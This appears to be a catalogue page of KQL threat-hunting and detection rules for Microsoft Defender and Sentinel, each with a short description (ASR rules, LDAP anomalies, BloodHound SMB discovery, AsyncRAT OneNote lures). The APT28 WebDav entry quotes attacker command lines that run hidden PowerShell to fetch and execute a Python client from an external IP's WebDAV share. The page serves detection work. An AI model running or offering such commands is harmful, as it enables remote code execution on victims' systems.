Browse Rules

AbuseCH Botnet C2 Indicators Of Compromise

Abuse.ch Botnet C2 IP Blacklist to detect external C2 connections

Abuse.ch Malware Submissions (MD5)

AD Group Additions

This query can be used to list all Active Directory group additions. The query uses 2 variables as input, the Group names on which you want to search and the timeframe used for the search. This could help in your investigation by knowing if accounts have been added to high priviliged groups in order for them to have more privileges.

AD Group Additions

This query can be used to list all Active Directory group additions. The query uses 2 variables as input, the Group names on which you want to search and the timeframe used for the search. This could help in your investigation by knowing if accounts have been added to high priviliged groups in order for them to have more privileges.

Advanced Feature Disabled

Defender For Endpoint Advanced Features are very powerful, some examples are: - Enable/Disable EDR in block mode - Enable/Disable Live Response - Enable/Disable Live Response unsigned script execution - Enable/Disable Tamper protection The query below returns results if an Advanced Feature has been disabled in your tenant, disabling an advanced feature can increase your attack surface significantly.

Alert Efficiency

The rule below can be used to calculate the efficiency of custom detection rules in your environment. The line | where AlertName startswith "[DxBP]" should be replaced with the prefix of your custom detection rules or should be removed completely to include build in rules as well.

All BlackCat/ALPHV Ransomware IOCs with one KQL query

Actor: BlackCat/ALPHV IOC Source: https://www.ic3.gov/Media/News/2022/220420.pdf Publish Date: 19 April 2022

All Encoded Powershell Commands

AMSI Script Detection

The Windows Antimalware Scan Interface (AMSI) is a versatile interface standard that allows your applications and services to integrate with any antimalware product that's present on a machine. AMSI provides enhanced malware protection for your end-users and their data, applications, and workloads. This detection lists all AmsiScriptDetection events that happened in your tenant. Note that those events do not necessary results in incidents in Defender For Endpoint, therefore it is recommended to

Analytics Rules Efficiency

This query is aimed to improve the false positive ratio you have in Sentinel. The query list all analytics rules that have triggered the most in the selected TimeRange. These analytics rules can either be enabled ones from a template, or custom created detections. For each analytics rule the following stats are collected: - TotalIncidentsTriggered - TotalUndetermined - TotalBenignPositive - TotalTruePositive - TotalFalsePositive Those stats can indicate the efficiency of a detection rule. Rules

Anomalous Amount of LDAP traffic

Adversaries can use LDAP to collect environment information. The query below can be used to detect anomalous amounts of LDAP queries from a originating device. This is done by baselining the normal amount of LDAP queries a device performs each hour. This query gives you input on which devices might need to be investigated. Once you found a device you are interested in, simply use the Find all the executed LDAP queries from a compromised device with the devicename as input to list all the LDAP de

Anomalous amount of SMB sessions created (BloodHound)

This detection rule is aimed to detect a host that performs SMB Discovery by alerting if a device creates more then 50 unique SMB sessions within 15 minutes. That is one of the characteristics of bloodhound. The SMB sessions can be used to identify remote systems.

Anomalous Amount of URLClickEvents

In the dynamic world of cybersecurity, proactive threat hunting and anomaly detection are key to staying ahead of potential threats. One powerful tool that aids in this process is the UrlClickEvents table in Microsoft Sentinel. This table can help us hunt for several cybersecurity attack vectors related to URL click activities. Let's delve into some examples: 1. Phishing Attacks - T1556: Phishing attacks often involve sending emails with malicious URLs to victims. If a user clicks on the URL, th

Anomalous Group Policy Discovery

Adversaries may gather information on Group Policy settings to identify paths for privilege escalation, security measures applied within a domain, and to discover patterns in domain objects that can be manipulated or used to blend in the environment. Group policies may contain valueble information for an attacker. This query detects when an device performs an group policy Discovery that has not been performed from that device in the last 30 days. Potential false positive is a new Administrator t

Antivirus Detections by day

This query visualizes the daily antivirus detections, which can give an indication in anomalous amount of activities that are performed in your environment.

APT28 Commands

This KQL query can be used to hunt for APT 28 commands in your environment. The threshold can be used to adjust the amount of unique executed APT28 commands to be found within the defined BinSize, the BinSize is the timeframe in which the threshold needs to be reached. All the calculations are done for each device. The more APT28 commands are found on a device, the more likely it is that the device has been compromised.

APT28 WebDav Folder File Collection

Hunt for external connections initiated by PowerShell to collect files from the webdav folder. This is used to download malicious files. Example commandlines: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w hid -nop -c "[system.Diagnostics.Process]::Start('msedge','http://194.126.178.8/webdav/231130N581.pdf'); \\194.126.178.8@80\webdav\Python39\python.exe \\194.126.178.8@80\webdav\Python39\Client.py" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w hid -nop -c "[system.D

APTNotes table that can be used to join with other data connectors

APTNotes table that can be used to join with other data connectors

ASR Executable Content triggered

The ASR rule in this query has the following description: This rule blocks the following file types from launching from email opened within the Microsoft Outlook application, or Outlook.com and other popular webmail providers: - Executable files (such as .exe, .dll, or .scr) - Script files (such as a PowerShell .ps1, Visual Basic .vbs, or JavaScript .js file) This query uses the ASR trigger as input and joins that with the available email information. This can then be used the find the source of

ASR Executable Office Content

The discroption of this ASR rule: This rule prevents Office apps, including Word, Excel, and PowerPoint, from creating potentially malicious executable content, by blocking malicious code from being written to disk.Malware that abuses Office as a vector might attempt to break out of Office and save malicious components to disk. These malicious components would survive a computer reboot and persist on the system. Therefore, this rule defends against a common persistence technique. This query trie

ASR Ransomware

Detects when the ASR rule AsrRansomwareBlocked or AsrRansomwareAudited is triggered. MDE uses cliend and cloud heuristics to determine of a file resembles ransomware. This file could for example be the script that is used to encrypt files. No alert is generated by default by Defender For Endpoint. This could be the start of a ransomware attack. Additional information available by Microsoft.

ASR Rule Configuration

This query returns a row for each device and states for every rule the configurationstate. This can help to prioritize rules that are not enabled or misconfigurations in the policy.

AsyncRAT Initial Access Campaign via OneNote files

In recent days there has been a increase in malicious OneNote files to deliver AsyncRAT. This query can be used to start a hunt for malicious files in your environment. The OneNote files have to be delivered by mail and have to be opened in order to pop-up in the results of this query. This will indicate that a user has opened the attachment from the mail. From there a investigation needs to be started to determin if the file is benign or malicious. This query cannot determine if the OneNote fi

ATP Detection events triggered

Displays the AtpDetection events in CloudAppEvents.